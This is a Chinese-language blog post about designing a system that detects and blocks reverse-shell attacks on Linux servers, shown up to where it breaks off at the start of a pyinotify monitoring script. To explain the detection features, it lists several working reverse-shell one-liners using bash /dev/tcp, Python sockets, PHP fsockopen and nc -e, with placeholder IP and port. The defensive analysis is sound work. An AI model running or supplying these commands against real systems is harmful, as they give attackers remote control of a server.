當命令注入點已經到手,Webshell已經就緒,nc已經監聽起來了,冒新鮮熱氣兒的Shell唾手可得的那種狂喜,大家還記得嗎?反彈Shell一般是外網滲透的最后一步,也是內網滲透的第一步。反彈Shell對服務器安全乃至內網安全的危害不必多說。
雖然本diao主要是玩Web安全的,可主機安全監控也是要做起來的,誰讓咱是一個人的安全部呢?最近筆者潛心搞了一個反彈Shell攻擊自動發現和阻斷系統,本著技術共享的理念,當然也是為了讓各位大神看看有沒有繞過的可能,把這個技術分享出來,大家共勉。
項目GitHub: Seesaw
0×1 反彈Shell解析
未知攻,焉知防?我們先來分析一下反彈Shell這個不新的滲透技術,看看有什么入手點。反彈Shell顧名思義,有兩個關鍵詞——反彈和Shell。
反彈:利用命令執行/代碼執行/Webshell/Redis未授權訪問寫入crontab等等漏洞,使目標服務器發出主動連接請求,從而繞過防火墻的入站訪問控制規則。
Shell:使服務器Shell進程stdin/stdout/stderr重定向到攻擊端。
常見的反彈Shell姿勢有(詳見文章):
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
nc -e /bin/bash ip port
通過仔細觀察,我們可以發現這些姿勢無一例外使用了重定向,這也是識別反彈Shell的突破口,且聽筆者細細道來。
我們知道Linux中一切皆文件,正常情況下打開Bash進程時,Bash進程的stdin、stdout、stderr會定向到終端設備文件(例如/dev/pts/0),如下示意圖:
定向到終端設備文件
此時Bash打開的文件描述符為:
Bash打開的文件描述符
可以看到bash進程已經打開了對應的字符設備文件描述符,用于將stdin(0u)/stdout(1u)/stderr(2u)等定向到字符設備。
當出現反彈Shell時,例如最流行的姿勢bash -i >& /dev/tcp/ip/port 0>&1,我們來解析一下這條命令的意思。
bash -i:啟動交互式bash進程
& /dev/tcp/ip/port:將stdout/stderr重定向到與ip:port的tcp套接字中
0>&1:將stdin重定向到stdout中(此時stdout是重定向到套接字的,也就是說stdin也將從套接字中讀取)
綜上,這條命令是為了控制Bash進程,并獲得進程的標準輸出和錯誤輸出,采用重定向技術將stdin/stdout/stderr重定向到了套接字設備中,此時輸入輸出的結構發生了變化,如下示意圖:
輸入輸出的結構發生了變化
通過lsof命令可以看到此時的文件描述符打開情況:
文件描述符打開情況
可以發現stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此時進程所屬的用戶也變成了apache(運行Web服務的用戶),當前路徑就是Webshell所在的目錄。
先知社區有不錯的反彈Shell重定向分析:Linux反彈shell(一)文件描述符與重定向、Linux 反彈shell(二)反彈shell的本質。本文借鑒學習了這些文章內容,也正是通過對文章內容的學習啟發了以上我對反彈Shell的特征提取思路,比心。
0×2 總體思路
綜合上述分析,反彈Shell的識別思路便浮出水面:
及時發現Bash進程啟動事件。
檢查Bash進程是否打開了終端設備,是否有主動對外連接。
0×3 失敗嘗試
思路是有了,實現時卻發現困難重重,第一個深坑,就是如何在第一時間捕捉到Shell進程的啟動。為什么要第一時間呢?如果給了黑客短暫的操作窗口,就可能被植入更深層的木馬/rootkit,甚至提權后直接把咱的監控程序干掉,這是絕對不能容忍的。
在這個深坑里,筆者撲騰了好幾回,下面介紹在坑中的各種嘗試,以及最終的成功方法。為啥失敗的經驗還要說呢?其實這些思路本身不壞,只是不太適合我們的項目目標,順便介紹給大家共勉。
Round 1 Sysloghistory of BASH
既然要發現Shell進程,第一個思路是從Bash本身入手,如果Bash執行命令,讓Bash進程自己告訴我。編譯Bash開啟命令history syslog功能,從而獲取bash命令、bash進程pid、uid、pwd之類有用的信息,正好之前做異常命令識別時有過這個經驗,當時也借鑒了一些文章:安全運維之如何將Linux歷史命令記錄發往遠程Rsyslog服務器。
說干就干,下載bash源碼:https://ftp.gnu.org/gnu/bash/。
a. 打開config-top.h 116行注釋,開啟bash syslog history功能:
開啟bash syslog history功能
b. 在bashhist.c 771行和776行自定義需要的syslog內容和格式,比如我最愛的JSON,但由于命令內容容易出現引號、轉義符等導致JSON解析不成功,單獨放在一列:
JSON
c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者發送至遠程日志服務器做分析,并重啟rsyslog服務(service rsyslog restart):
修改rsyslog配置
至此,所有調用Bash執行的命令都被我們記錄下來了:
調用Bash執行的命令
是不是感覺勝利在望了?筆者當時也很興奮。可是在測試中發現如果反彈命令前面帶“sh -c”,就不會被記錄。這是不能容忍的缺陷,可是為啥記錄不到,找不到任何頭緒。沮喪的同時筆者深入思考,這個方法是不適合用于監控Shell進程啟動的,實際執行命令時再檢查就太晚了。
Round 2 proc文件系統
此路不通不要氣餒,再接再厲。我們知道Linux系統有一個proc偽文件系統,記錄著當前內核運行狀態等信息,還有以進程id為名的一堆目錄,里面是與該進程相關的運行信息。能不能從proc文件系統下手,實時監控Shel進程呢?
第一反應是用inotify監控/proc目錄創建目錄的事件,一旦創建新目錄就說明啟動了新進程,再進行相應的檢查。用pyinotify庫寫了一個監控程序:
class BashHandler(pyinotify.ProcessEvent):
|